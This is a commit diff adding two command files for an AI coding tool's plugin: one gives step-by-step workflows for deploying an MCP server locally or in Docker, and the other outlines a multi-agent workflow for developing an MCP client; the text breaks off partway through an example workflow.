Initial commit
This commit is contained in:
Zhongwei Li
676
commands/deploy-mcp.md
Normal file
676
commands/deploy-mcp.md
Normal file
@@ -0,0 +1,676 @@
|
||||
---
|
||||
description: Deploy MCP server locally or with Docker
|
||||
argument-hint: Deployment target (local/docker/both)
|
||||
---
|
||||
|
||||
# Deploy MCP Server
|
||||
|
||||
Deploy an MCP server for local usage (Claude Desktop, pip/npm) or Docker containers.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
/deploy-mcp [target]
|
||||
```
|
||||
|
||||
**Arguments:**
|
||||
- `target`: Deployment target - `local`, `docker`, or `both` (optional, defaults to `local`)
|
||||
|
||||
**Examples:**
|
||||
```
|
||||
/deploy-mcp local
|
||||
/deploy-mcp docker
|
||||
/deploy-mcp both
|
||||
```
|
||||
|
||||
## What This Command Does
|
||||
|
||||
This command handles the complete deployment workflow for MCP servers:
|
||||
- Local deployment (Claude Desktop integration, pip/npm packages)
|
||||
- Docker containerization
|
||||
- Configuration management
|
||||
- Documentation creation
|
||||
- Troubleshooting guides
|
||||
|
||||
## Workflow Steps
|
||||
|
||||
### Step 1: Detect Project Details
|
||||
|
||||
Analyze the project:
|
||||
1. **Language**: Python or TypeScript?
|
||||
2. **Server Type**: stdio, SSE, or both?
|
||||
3. **Dependencies**: What external services are needed?
|
||||
4. **Configuration**: What environment variables required?
|
||||
|
||||
### Step 2: Launch Deployment Engineer Agent
|
||||
|
||||
Use the Task tool to launch `mcp-deployment-engineer` agent.
|
||||
|
||||
**Agent Task:**
|
||||
```
|
||||
Create deployment configuration for MCP server:
|
||||
|
||||
Project: [project name]
|
||||
Location: [project path]
|
||||
Language: [Python/TypeScript]
|
||||
Transport: [stdio/SSE/both]
|
||||
Target: [local/docker/both]
|
||||
|
||||
Requirements:
|
||||
1. Local Deployment:
|
||||
- Claude Desktop configuration
|
||||
- Package configuration (pip/npm)
|
||||
- Installation documentation
|
||||
- Environment variable management
|
||||
|
||||
2. Docker Deployment (if requested):
|
||||
- Dockerfile optimized for size and security
|
||||
- Docker Compose configuration
|
||||
- Health checks
|
||||
- Volume management
|
||||
|
||||
3. Documentation:
|
||||
- Installation guide
|
||||
- Configuration guide
|
||||
- Troubleshooting guide
|
||||
- Usage examples
|
||||
|
||||
Deliverables:
|
||||
- Claude Desktop config example
|
||||
- Package configuration (pyproject.toml/package.json)
|
||||
- Dockerfile and docker-compose.yml (if requested)
|
||||
- .env.example with all variables
|
||||
- Complete README.md
|
||||
- Troubleshooting guide
|
||||
```
|
||||
|
||||
### Step 3: Prepare for Local Deployment
|
||||
|
||||
**Python Package Preparation:**
|
||||
|
||||
1. **Verify pyproject.toml:**
|
||||
```toml
|
||||
[build-system]
|
||||
requires = ["hatchling"]
|
||||
build-backend = "hatchling.build"
|
||||
|
||||
[project]
|
||||
name = "my-mcp-server"
|
||||
version = "0.1.0"
|
||||
description = "MCP server for [purpose]"
|
||||
requires-python = ">=3.11"
|
||||
dependencies = [
|
||||
"fastmcp>=0.1.0",
|
||||
# other dependencies
|
||||
]
|
||||
|
||||
[project.scripts]
|
||||
my-mcp-server = "my_mcp_server.__main__:main"
|
||||
```
|
||||
|
||||
2. **Create distribution:**
|
||||
```bash
|
||||
# Install build tools
|
||||
pip install build
|
||||
|
||||
# Build package
|
||||
python -m build
|
||||
|
||||
# Test installation locally
|
||||
pip install dist/my_mcp_server-0.1.0-py3-none-any.whl
|
||||
|
||||
# Test running
|
||||
my-mcp-server
|
||||
```
|
||||
|
||||
**TypeScript Package Preparation:**
|
||||
|
||||
1. **Verify package.json:**
|
||||
```json
|
||||
{
|
||||
"name": "my-mcp-server",
|
||||
"version": "0.1.0",
|
||||
"main": "./build/index.js",
|
||||
"bin": {
|
||||
"my-mcp-server": "./build/index.js"
|
||||
},
|
||||
"files": [
|
||||
"build",
|
||||
"README.md"
|
||||
],
|
||||
"scripts": {
|
||||
"build": "tsc",
|
||||
"prepare": "npm run build"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
2. **Build and test:**
|
||||
```bash
|
||||
# Build
|
||||
npm run build
|
||||
|
||||
# Test locally
|
||||
npm link
|
||||
my-mcp-server
|
||||
|
||||
# Or test with npx
|
||||
npx .
|
||||
```
|
||||
|
||||
### Step 4: Create Claude Desktop Configuration
|
||||
|
||||
Generate Claude Desktop config for both uvx/npx and local installations:
|
||||
|
||||
**Python (uvx - Recommended):**
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"my-mcp-server": {
|
||||
"command": "uvx",
|
||||
"args": ["my-mcp-server"],
|
||||
"env": {
|
||||
"API_KEY": "your-api-key-here",
|
||||
"LOG_LEVEL": "info"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Python (local installation):**
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"my-mcp-server": {
|
||||
"command": "/path/to/venv/bin/python",
|
||||
"args": ["-m", "my_mcp_server"],
|
||||
"env": {
|
||||
"API_KEY": "your-api-key-here",
|
||||
"LOG_LEVEL": "info"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**TypeScript (npx - Recommended):**
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"my-mcp-server": {
|
||||
"command": "npx",
|
||||
"args": ["-y", "my-mcp-server"],
|
||||
"env": {
|
||||
"API_KEY": "your-api-key-here",
|
||||
"LOG_LEVEL": "info"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**TypeScript (local installation):**
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"my-mcp-server": {
|
||||
"command": "node",
|
||||
"args": ["/path/to/project/build/index.js"],
|
||||
"env": {
|
||||
"API_KEY": "your-api-key-here"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Step 5: Create Docker Configuration (if requested)
|
||||
|
||||
**Python Dockerfile:**
|
||||
```dockerfile
|
||||
FROM python:3.11-slim as builder
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
# Install build dependencies
|
||||
RUN apt-get update && apt-get install -y \
|
||||
build-essential \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Copy and install
|
||||
COPY pyproject.toml README.md ./
|
||||
COPY src/ ./src/
|
||||
RUN pip install --no-cache-dir --upgrade pip && \
|
||||
pip install --no-cache-dir .
|
||||
|
||||
# Production stage
|
||||
FROM python:3.11-slim
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
# Copy from builder
|
||||
COPY --from=builder /usr/local/lib/python3.11/site-packages /usr/local/lib/python3.11/site-packages
|
||||
COPY --from=builder /usr/local/bin /usr/local/bin
|
||||
|
||||
# Non-root user
|
||||
RUN useradd -m -u 1000 mcpuser && \
|
||||
chown -R mcpuser:mcpuser /app
|
||||
|
||||
USER mcpuser
|
||||
|
||||
# Health check
|
||||
HEALTHCHECK --interval=30s --timeout=10s \
|
||||
CMD python -c "import sys; sys.exit(0)"
|
||||
|
||||
CMD ["my-mcp-server"]
|
||||
```
|
||||
|
||||
**TypeScript Dockerfile:**
|
||||
```dockerfile
|
||||
# Build stage
|
||||
FROM node:18-slim as builder
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
COPY package*.json tsconfig.json ./
|
||||
COPY src/ ./src/
|
||||
RUN npm ci && npm run build && npm prune --production
|
||||
|
||||
# Production stage
|
||||
FROM node:18-slim
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
COPY --from=builder /app/build ./build
|
||||
COPY --from=builder /app/node_modules ./node_modules
|
||||
COPY --from=builder /app/package.json ./
|
||||
|
||||
# Non-root user
|
||||
RUN useradd -m -u 1000 mcpuser && \
|
||||
chown -R mcpuser:mcpuser /app
|
||||
|
||||
USER mcpuser
|
||||
|
||||
HEALTHCHECK --interval=30s --timeout=10s \
|
||||
CMD node -e "process.exit(0)"
|
||||
|
||||
CMD ["node", "build/index.js"]
|
||||
```
|
||||
|
||||
**docker-compose.yml:**
|
||||
```yaml
|
||||
version: '3.8'
|
||||
|
||||
services:
|
||||
mcp-server:
|
||||
build: .
|
||||
container_name: my-mcp-server
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
- API_KEY=${API_KEY}
|
||||
- LOG_LEVEL=${LOG_LEVEL:-info}
|
||||
# For stdio
|
||||
stdin_open: true
|
||||
tty: true
|
||||
# For SSE
|
||||
# ports:
|
||||
# - "3000:3000"
|
||||
volumes:
|
||||
- ./data:/app/data
|
||||
deploy:
|
||||
resources:
|
||||
limits:
|
||||
cpus: '0.5'
|
||||
memory: 512M
|
||||
```
|
||||
|
||||
### Step 6: Create Environment Configuration
|
||||
|
||||
**Create .env.example:**
|
||||
```bash
|
||||
# API Keys (REQUIRED)
|
||||
API_KEY=your-api-key-here
|
||||
GITHUB_TOKEN=ghp_your_github_token
|
||||
|
||||
# Database (if applicable)
|
||||
DATABASE_URL=postgresql://user:pass@localhost:5432/db
|
||||
|
||||
# Server Configuration
|
||||
SERVER_NAME=my-mcp-server
|
||||
LOG_LEVEL=info
|
||||
|
||||
# Rate Limiting
|
||||
RATE_LIMIT_REQUESTS=100
|
||||
RATE_LIMIT_WINDOW=60
|
||||
|
||||
# Feature Flags
|
||||
ENABLE_CACHING=true
|
||||
CACHE_TTL=300
|
||||
```
|
||||
|
||||
**Create .env for local development:**
|
||||
```bash
|
||||
cp .env.example .env
|
||||
# Edit .env with actual values
|
||||
```
|
||||
|
||||
### Step 7: Create Comprehensive Documentation
|
||||
|
||||
**README.md:**
|
||||
```markdown
|
||||
# My MCP Server
|
||||
|
||||
[Brief description]
|
||||
|
||||
## Features
|
||||
|
||||
- ✅ [Feature 1]
|
||||
- ✅ [Feature 2]
|
||||
- ✅ [Feature 3]
|
||||
|
||||
## Installation
|
||||
|
||||
### Quick Start (Claude Desktop)
|
||||
|
||||
1. Install the server:
|
||||
```bash
|
||||
uvx my-mcp-server # Python
|
||||
# or
|
||||
npx my-mcp-server # Node.js
|
||||
```
|
||||
|
||||
2. Configure Claude Desktop:
|
||||
|
||||
Edit `~/Library/Application Support/Claude/claude_desktop_config.json`:
|
||||
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"my-server": {
|
||||
"command": "uvx",
|
||||
"args": ["my-mcp-server"],
|
||||
"env": {
|
||||
"API_KEY": "your-api-key"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
3. Restart Claude Desktop
|
||||
|
||||
### Local Installation
|
||||
|
||||
**Python:**
|
||||
```bash
|
||||
pip install my-mcp-server
|
||||
my-mcp-server
|
||||
```
|
||||
|
||||
**Node.js:**
|
||||
```bash
|
||||
npm install -g my-mcp-server
|
||||
my-mcp-server
|
||||
```
|
||||
|
||||
### Docker
|
||||
|
||||
```bash
|
||||
# Build
|
||||
docker build -t my-mcp-server .
|
||||
|
||||
# Run with stdio
|
||||
docker run -i \
|
||||
-e API_KEY=your-key \
|
||||
my-mcp-server
|
||||
|
||||
# Or use docker-compose
|
||||
docker-compose up -d
|
||||
```
|
||||
|
||||
## Configuration
|
||||
|
||||
### Environment Variables
|
||||
|
||||
| Variable | Required | Description | Default |
|
||||
|----------|----------|-------------|---------|
|
||||
| API_KEY | Yes | API key for service | - |
|
||||
| LOG_LEVEL | No | Logging level | info |
|
||||
| RATE_LIMIT | No | Requests per minute | 100 |
|
||||
|
||||
### Getting API Keys
|
||||
|
||||
1. Go to [service provider]
|
||||
2. Create account
|
||||
3. Generate API key
|
||||
4. Add to configuration
|
||||
|
||||
## Available Tools
|
||||
|
||||
[List and document all tools]
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Server not starting
|
||||
|
||||
- Check environment variables are set
|
||||
- Verify API key is valid
|
||||
- Check logs for specific errors
|
||||
|
||||
### Tools not appearing in Claude
|
||||
|
||||
- Restart Claude Desktop
|
||||
- Check configuration file syntax
|
||||
- Verify server starts manually
|
||||
|
||||
## Development
|
||||
|
||||
```bash
|
||||
# Clone
|
||||
git clone [repo]
|
||||
|
||||
# Install
|
||||
pip install -e .[dev] # or npm install
|
||||
|
||||
# Run tests
|
||||
pytest # or npm test
|
||||
|
||||
# Run locally
|
||||
python -m my_mcp_server # or npm run dev
|
||||
```
|
||||
|
||||
## License
|
||||
|
||||
MIT
|
||||
```
|
||||
|
||||
**TROUBLESHOOTING.md:**
|
||||
```markdown
|
||||
# Troubleshooting Guide
|
||||
|
||||
## Installation Issues
|
||||
|
||||
### Python: Command not found
|
||||
|
||||
**Problem**: `my-mcp-server: command not found`
|
||||
|
||||
**Solutions**:
|
||||
1. Verify installation: `pip list | grep my-mcp-server`
|
||||
2. Check PATH includes pip bin directory
|
||||
3. Reinstall: `pip install --force-reinstall my-mcp-server`
|
||||
|
||||
### Node.js: Module not found
|
||||
|
||||
**Problem**: `Cannot find module 'my-mcp-server'`
|
||||
|
||||
**Solutions**:
|
||||
1. Verify installation: `npm list -g my-mcp-server`
|
||||
2. Reinstall: `npm install -g my-mcp-server`
|
||||
3. Try with npx: `npx my-mcp-server`
|
||||
|
||||
## Configuration Issues
|
||||
|
||||
[More troubleshooting content...]
|
||||
```
|
||||
|
||||
### Step 8: Test Deployment
|
||||
|
||||
**Local Testing:**
|
||||
|
||||
1. **Test package installation:**
|
||||
```bash
|
||||
# Python
|
||||
pip install -e .
|
||||
my-mcp-server --help
|
||||
|
||||
# TypeScript
|
||||
npm install
|
||||
npm run build
|
||||
node build/index.js --help
|
||||
```
|
||||
|
||||
2. **Test with MCP Inspector:**
|
||||
```bash
|
||||
mcp-inspector python -m my_mcp_server
|
||||
# or
|
||||
mcp-inspector node build/index.js
|
||||
```
|
||||
|
||||
3. **Test in Claude Desktop:**
|
||||
- Add to configuration
|
||||
- Restart Claude Desktop
|
||||
- Verify tools appear
|
||||
- Test tool execution
|
||||
|
||||
**Docker Testing:**
|
||||
|
||||
```bash
|
||||
# Build image
|
||||
docker build -t my-mcp-server:test .
|
||||
|
||||
# Test stdio
|
||||
docker run -i -e API_KEY=test my-mcp-server:test
|
||||
|
||||
# Test with inspector
|
||||
docker run -i my-mcp-server:test | mcp-inspector -
|
||||
|
||||
# Check image size
|
||||
docker images my-mcp-server:test
|
||||
```
|
||||
|
||||
### Step 9: Create Deployment Checklist
|
||||
|
||||
```markdown
|
||||
# Deployment Checklist
|
||||
|
||||
## Pre-Deployment
|
||||
- [ ] All tests passing
|
||||
- [ ] Security review complete
|
||||
- [ ] Documentation complete
|
||||
- [ ] Version number updated
|
||||
- [ ] CHANGELOG updated
|
||||
|
||||
## Package Configuration
|
||||
- [ ] pyproject.toml/package.json correct
|
||||
- [ ] Dependencies specified
|
||||
- [ ] Entry points configured
|
||||
- [ ] Build succeeds
|
||||
- [ ] Package installs locally
|
||||
|
||||
## Claude Desktop
|
||||
- [ ] Config example created
|
||||
- [ ] Environment variables documented
|
||||
- [ ] Installation instructions clear
|
||||
- [ ] Tested with real Claude Desktop
|
||||
|
||||
## Docker (if applicable)
|
||||
- [ ] Dockerfile optimized
|
||||
- [ ] Image builds successfully
|
||||
- [ ] Image size reasonable (<500MB)
|
||||
- [ ] Health check works
|
||||
- [ ] Non-root user configured
|
||||
- [ ] docker-compose.yml provided
|
||||
|
||||
## Documentation
|
||||
- [ ] README complete
|
||||
- [ ] API documentation clear
|
||||
- [ ] Configuration documented
|
||||
- [ ] Troubleshooting guide provided
|
||||
- [ ] Examples included
|
||||
|
||||
## Testing
|
||||
- [ ] Tested locally
|
||||
- [ ] Tested with MCP Inspector
|
||||
- [ ] Tested in Claude Desktop
|
||||
- [ ] Tested with Docker (if applicable)
|
||||
```
|
||||
|
||||
### Step 10: Provide Deployment Summary
|
||||
|
||||
```
|
||||
✓ Deployment Configuration Complete: [project-name]
|
||||
|
||||
Local Deployment:
|
||||
✓ Claude Desktop config created
|
||||
✓ Package configuration ready
|
||||
✓ Installation instructions documented
|
||||
|
||||
Installation:
|
||||
Python: uvx my-mcp-server
|
||||
Node.js: npx my-mcp-server
|
||||
|
||||
Claude Desktop Config:
|
||||
Location: ~/Library/Application Support/Claude/claude_desktop_config.json
|
||||
Example: ./claude-desktop-config.example.json
|
||||
|
||||
Docker Deployment:
|
||||
✓ Dockerfile created (optimized, 180MB)
|
||||
✓ docker-compose.yml created
|
||||
✓ Health checks configured
|
||||
✓ Non-root user configured
|
||||
|
||||
Build: docker build -t my-mcp-server .
|
||||
Run: docker-compose up -d
|
||||
|
||||
Documentation:
|
||||
✓ README.md complete
|
||||
✓ TROUBLESHOOTING.md created
|
||||
✓ .env.example provided
|
||||
✓ Usage examples included
|
||||
|
||||
Next Steps:
|
||||
1. Test deployment locally:
|
||||
- Install: uvx my-mcp-server
|
||||
- Configure Claude Desktop
|
||||
- Restart Claude Desktop
|
||||
- Test tools
|
||||
|
||||
2. (Optional) Publish package:
|
||||
Python: python -m build && twine upload dist/*
|
||||
Node.js: npm publish
|
||||
|
||||
3. (Optional) Deploy Docker:
|
||||
docker-compose up -d
|
||||
|
||||
Files created:
|
||||
- claude-desktop-config.example.json
|
||||
- Dockerfile
|
||||
- docker-compose.yml
|
||||
- .env.example
|
||||
- README.md
|
||||
- TROUBLESHOOTING.md
|
||||
```
|
||||
|
||||
## Success Criteria
|
||||
|
||||
- [ ] Deployment configuration created
|
||||
- [ ] Claude Desktop config example provided
|
||||
- [ ] Package configuration verified
|
||||
- [ ] Docker configuration created (if requested)
|
||||
- [ ] Environment variables documented
|
||||
- [ ] Comprehensive documentation created
|
||||
- [ ] Installation tested
|
||||
- [ ] User has clear deployment instructions
|
||||
|
||||
This command provides production-ready deployment configuration for MCP servers across multiple platforms.
|
||||
480
commands/develop-mcp-client.md
Normal file
480
commands/develop-mcp-client.md
Normal file
@@ -0,0 +1,480 @@
|
||||
---
|
||||
description: Develop MCP client for integration with MCP servers
|
||||
argument-hint: Client requirements and target servers
|
||||
---
|
||||
|
||||
# Develop MCP Client
|
||||
|
||||
Orchestrate the complete development of an MCP client for connecting to and using MCP servers.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
/develop-mcp-client [requirements]
|
||||
```
|
||||
|
||||
**Arguments:**
|
||||
- `requirements`: Brief description of client needs (optional if discussed interactively)
|
||||
|
||||
**Examples:**
|
||||
```
|
||||
/develop-mcp-client CLI tool to interact with GitHub MCP server
|
||||
/develop-mcp-client Desktop app aggregating multiple MCP servers
|
||||
/develop-mcp-client Web application using remote MCP servers via SSE
|
||||
```
|
||||
|
||||
## What This Command Does
|
||||
|
||||
This command orchestrates the full MCP client development workflow by:
|
||||
1. Designing client architecture and integration patterns
|
||||
2. Implementing the client in chosen language
|
||||
3. Creating comprehensive tests
|
||||
4. Performing security review
|
||||
5. Setting up deployment configuration
|
||||
|
||||
## Workflow Steps
|
||||
|
||||
### Step 1: Gather Requirements
|
||||
|
||||
Ask the user to clarify:
|
||||
|
||||
1. **Client Purpose**: What will this client do?
|
||||
2. **Target Servers**: Which MCP servers will it connect to?
|
||||
3. **Client Type**:
|
||||
- CLI tool
|
||||
- Desktop application
|
||||
- Web application
|
||||
- Library/SDK
|
||||
- Proxy/Gateway
|
||||
4. **Connection Pattern**:
|
||||
- Single server
|
||||
- Multiple servers (aggregation)
|
||||
- Dynamic server discovery
|
||||
5. **Transport**: stdio, SSE, or both?
|
||||
6. **Language Preference**: Python or TypeScript?
|
||||
7. **User Interface**: Command-line, GUI, API, or library?
|
||||
|
||||
### Step 2: Launch Client Architect Agent
|
||||
|
||||
Use the Task tool to launch `mcp-client-architect` agent with requirements.
|
||||
|
||||
**Agent Task:**
|
||||
```
|
||||
Design MCP client architecture for [purpose].
|
||||
|
||||
Requirements:
|
||||
- Target servers: [list of servers]
|
||||
- Client type: [CLI/Desktop/Web/Library]
|
||||
- Connection pattern: [single/multiple/proxy]
|
||||
- Transport: [stdio/SSE/both]
|
||||
- Use cases: [list of what user wants to do]
|
||||
|
||||
Provide:
|
||||
1. Client architecture pattern
|
||||
2. Connection management strategy
|
||||
3. Tool invocation design
|
||||
4. Resource access patterns
|
||||
5. Error handling and retry logic
|
||||
6. Caching strategy (if applicable)
|
||||
7. Configuration requirements
|
||||
|
||||
Deliverables:
|
||||
- Complete client architecture
|
||||
- Connection lifecycle design
|
||||
- Tool/resource access patterns
|
||||
- Error handling strategy
|
||||
- Configuration specification
|
||||
```
|
||||
|
||||
**Expected Output:**
|
||||
- Client architecture pattern (single-purpose, aggregator, proxy, gateway)
|
||||
- Connection management design
|
||||
- Tool call workflow
|
||||
- Resource access workflow
|
||||
- Error handling and retry strategies
|
||||
- Configuration needs
|
||||
|
||||
### Step 3: Launch Development Agent
|
||||
|
||||
Based on language choice, launch `mcp-python-developer` or `mcp-typescript-developer` agent.
|
||||
|
||||
**Agent Task:**
|
||||
```
|
||||
Implement MCP client based on architecture:
|
||||
|
||||
Architecture:
|
||||
[paste architecture specification from Step 2]
|
||||
|
||||
Language: [Python/TypeScript]
|
||||
Client Type: [CLI/Desktop/Web/Library]
|
||||
|
||||
Requirements:
|
||||
1. Implement server connection management
|
||||
2. Implement tool discovery and invocation
|
||||
3. Implement resource access
|
||||
4. Implement prompt template usage
|
||||
5. Configure [stdio/SSE] transport(s)
|
||||
6. Add comprehensive error handling
|
||||
7. Implement retry logic
|
||||
8. Add connection health monitoring
|
||||
9. Include proper logging
|
||||
10. Create configuration management
|
||||
|
||||
Deliverables:
|
||||
- Complete client implementation
|
||||
- Connection manager
|
||||
- Tool/resource access methods
|
||||
- Configuration setup
|
||||
- CLI/UI implementation (if applicable)
|
||||
- Documentation
|
||||
```
|
||||
|
||||
**Expected Output:**
|
||||
- Complete client code
|
||||
- Server connection management
|
||||
- Tool invocation methods
|
||||
- Resource access methods
|
||||
- Transport layer configuration
|
||||
- User interface (if CLI/GUI)
|
||||
- Configuration management
|
||||
- Usage examples
|
||||
|
||||
### Step 4: Launch Testing Agent
|
||||
|
||||
Use the Task tool to launch `mcp-testing-engineer` agent.
|
||||
|
||||
**Agent Task:**
|
||||
```
|
||||
Create comprehensive test suite for MCP client:
|
||||
|
||||
Client: [project name]
|
||||
Language: [Python/TypeScript]
|
||||
Target Servers: [list]
|
||||
|
||||
Requirements:
|
||||
1. Unit tests for connection management
|
||||
2. Unit tests for tool invocation
|
||||
3. Unit tests for resource access
|
||||
4. Integration tests with mock servers
|
||||
5. Integration tests with real servers (if available)
|
||||
6. Error scenario testing (disconnects, timeouts, etc.)
|
||||
7. Mock MCP server for testing
|
||||
8. Coverage > 80%
|
||||
|
||||
Deliverables:
|
||||
- Complete test suite
|
||||
- Mock MCP server for testing
|
||||
- pytest/jest configuration
|
||||
- Integration tests
|
||||
- Coverage report
|
||||
- Test documentation
|
||||
```
|
||||
|
||||
**Expected Output:**
|
||||
- Comprehensive test suite
|
||||
- Mock MCP server implementation
|
||||
- Test configuration
|
||||
- Integration tests
|
||||
- Coverage report >80%
|
||||
|
||||
### Step 5: Launch Security Review Agent
|
||||
|
||||
Use the Task tool to launch `mcp-security-reviewer` agent.
|
||||
|
||||
**Agent Task:**
|
||||
```
|
||||
Perform security review of MCP client:
|
||||
|
||||
Client: [project name]
|
||||
Code: [location of client code]
|
||||
|
||||
Review for:
|
||||
1. Server connection security
|
||||
2. Tool parameter validation
|
||||
3. Resource URI validation
|
||||
4. Credential management (API keys, tokens)
|
||||
5. Information disclosure in errors
|
||||
6. Dependency vulnerabilities
|
||||
7. Transport security (if SSE)
|
||||
8. Man-in-the-middle protection
|
||||
|
||||
Deliverables:
|
||||
- Security review report
|
||||
- List of vulnerabilities
|
||||
- Remediation recommendations
|
||||
- Fixed code examples
|
||||
```
|
||||
|
||||
**Expected Output:**
|
||||
- Security review report
|
||||
- Vulnerability list with severity
|
||||
- Specific code fixes
|
||||
- Security best practices
|
||||
|
||||
### Step 6: Apply Security Fixes
|
||||
|
||||
Based on security review:
|
||||
1. Review all critical and high severity findings
|
||||
2. Apply recommended fixes to client code
|
||||
3. Re-run tests to ensure fixes work
|
||||
4. Update security documentation
|
||||
|
||||
### Step 7: Launch Deployment Agent
|
||||
|
||||
Use the Task tool to launch `mcp-deployment-engineer` agent.
|
||||
|
||||
**Agent Task:**
|
||||
```
|
||||
Create deployment configuration for MCP client:
|
||||
|
||||
Client: [project name]
|
||||
Language: [Python/TypeScript]
|
||||
Client Type: [CLI/Desktop/Web/Library]
|
||||
|
||||
Requirements:
|
||||
1. Package configuration (pip/npm)
|
||||
2. Installation documentation
|
||||
3. Configuration guide (how to specify servers)
|
||||
4. Docker container (if applicable)
|
||||
5. Environment variable management
|
||||
6. Troubleshooting guide
|
||||
|
||||
Deliverables:
|
||||
- pyproject.toml / package.json
|
||||
- Dockerfile (if applicable)
|
||||
- .env.example
|
||||
- Installation README
|
||||
- Configuration guide
|
||||
- Troubleshooting guide
|
||||
```
|
||||
|
||||
**Expected Output:**
|
||||
- Package distribution setup
|
||||
- Docker container (if needed)
|
||||
- Installation documentation
|
||||
- Configuration guide
|
||||
- Troubleshooting guide
|
||||
|
||||
### Step 8: Integration and Final Testing
|
||||
|
||||
1. **Test client installation:**
|
||||
```bash
|
||||
# Python
|
||||
pip install -e .
|
||||
myclient --help
|
||||
|
||||
# TypeScript
|
||||
npm install
|
||||
npm run build
|
||||
node build/index.js --help
|
||||
```
|
||||
|
||||
2. **Test with mock server:**
|
||||
```bash
|
||||
# Start mock server in one terminal
|
||||
python tests/mock_server.py
|
||||
|
||||
# Run client in another terminal
|
||||
myclient connect --server mock list-tools
|
||||
```
|
||||
|
||||
3. **Test with real server (if available):**
|
||||
```bash
|
||||
myclient connect --server github list-tools
|
||||
myclient call-tool create_issue --repo user/repo --title "Test"
|
||||
```
|
||||
|
||||
4. **Test error scenarios:**
|
||||
- Server unavailable
|
||||
- Network timeout
|
||||
- Invalid tool parameters
|
||||
- Connection drops
|
||||
|
||||
### Step 9: Create Final Documentation
|
||||
|
||||
Compile comprehensive documentation:
|
||||
|
||||
**README.md** should include:
|
||||
- Project overview and features
|
||||
- Installation instructions
|
||||
- Configuration guide
|
||||
- How to specify MCP servers
|
||||
- How to configure authentication
|
||||
- Usage examples
|
||||
- Connecting to servers
|
||||
- Listing tools
|
||||
- Calling tools
|
||||
- Reading resources
|
||||
- Development setup
|
||||
- Testing instructions
|
||||
- Troubleshooting
|
||||
|
||||
**For CLI clients, include:**
|
||||
- Complete command reference
|
||||
- Configuration file format
|
||||
- Environment variables
|
||||
|
||||
**For Library clients, include:**
|
||||
- API reference
|
||||
- Code examples
|
||||
- Integration guide
|
||||
|
||||
### Step 10: Provide Summary and Next Steps
|
||||
|
||||
Give the user a complete project summary:
|
||||
|
||||
```
|
||||
✓ MCP Client Development Complete: [project-name]
|
||||
|
||||
Architecture:
|
||||
- Client Type: [CLI/Desktop/Web/Library]
|
||||
- Connection Pattern: [pattern]
|
||||
- Supported Servers: [count]
|
||||
|
||||
Implementation:
|
||||
- Language: [Python/TypeScript]
|
||||
- Transport: [stdio/SSE/both]
|
||||
- Features: [list key features]
|
||||
|
||||
Testing:
|
||||
- Unit Tests: [count] (100% passing)
|
||||
- Integration Tests: [count] (100% passing)
|
||||
- Code Coverage: [percentage]%
|
||||
|
||||
Security:
|
||||
- Vulnerabilities Found: [count]
|
||||
- Vulnerabilities Fixed: [count]
|
||||
- Security Score: [rating]
|
||||
|
||||
Deployment:
|
||||
- Package: Ready for pip/npm
|
||||
- Docker: [Yes/No]
|
||||
|
||||
Next Steps:
|
||||
1. Review generated code
|
||||
2. Test client with target MCP servers
|
||||
3. Customize for your specific needs
|
||||
4. Consider publishing to PyPI/npm
|
||||
|
||||
Files created:
|
||||
[list all files]
|
||||
```
|
||||
|
||||
## Example CLI Client Workflow
|
||||
|
||||
```
|
||||
User: /develop-mcp-client CLI tool for GitHub MCP server
|
||||
|
||||
[Gathering Requirements]
|
||||
What operations should the CLI support?
|
||||
> List tools, call tools, read resources
|
||||
|
||||
Authentication method?
|
||||
> GitHub token from environment variable
|
||||
|
||||
[Step 2: Architecture]
|
||||
Launching mcp-client-architect agent...
|
||||
✓ Architecture designed:
|
||||
- CLI with subcommands (connect, list-tools, call-tool, read-resource)
|
||||
- Single server connection pattern
|
||||
- stdio transport
|
||||
- Configuration via CLI args and config file
|
||||
|
||||
[Step 3: Development]
|
||||
Launching mcp-python-developer agent...
|
||||
✓ CLI implemented with Click framework
|
||||
✓ Server connection via official MCP SDK
|
||||
✓ Tool invocation with result formatting
|
||||
✓ Configuration management
|
||||
|
||||
[Step 4: Testing]
|
||||
Launching mcp-testing-engineer agent...
|
||||
✓ 18 unit tests created (all passing)
|
||||
✓ Mock MCP server for testing
|
||||
✓ Integration tests
|
||||
✓ Coverage: 84%
|
||||
|
||||
[Step 5: Security Review]
|
||||
Launching mcp-security-reviewer agent...
|
||||
✓ Security review complete
|
||||
✓ Found: 1 medium issue (token logging)
|
||||
✓ Issue fixed
|
||||
|
||||
[Step 6: Deployment]
|
||||
Launching mcp-deployment-engineer agent...
|
||||
✓ pyproject.toml configured
|
||||
✓ Entry point configured
|
||||
✓ Documentation complete
|
||||
|
||||
[Integration Testing]
|
||||
✓ CLI tested with mock server
|
||||
✓ CLI tested with real GitHub MCP server
|
||||
|
||||
✓ COMPLETE: github-mcp-cli ready for use!
|
||||
|
||||
Example usage:
|
||||
github-mcp-cli list-tools
|
||||
github-mcp-cli call-tool create_issue --repo user/repo --title "Bug"
|
||||
github-mcp-cli read-resource "github://repos/user"
|
||||
```
|
||||
|
||||
## Example Aggregator Client Workflow
|
||||
|
||||
```
|
||||
User: /develop-mcp-client Desktop app aggregating GitHub, Database, and Filesystem servers
|
||||
|
||||
[Gathering Requirements]
|
||||
What should the app do?
|
||||
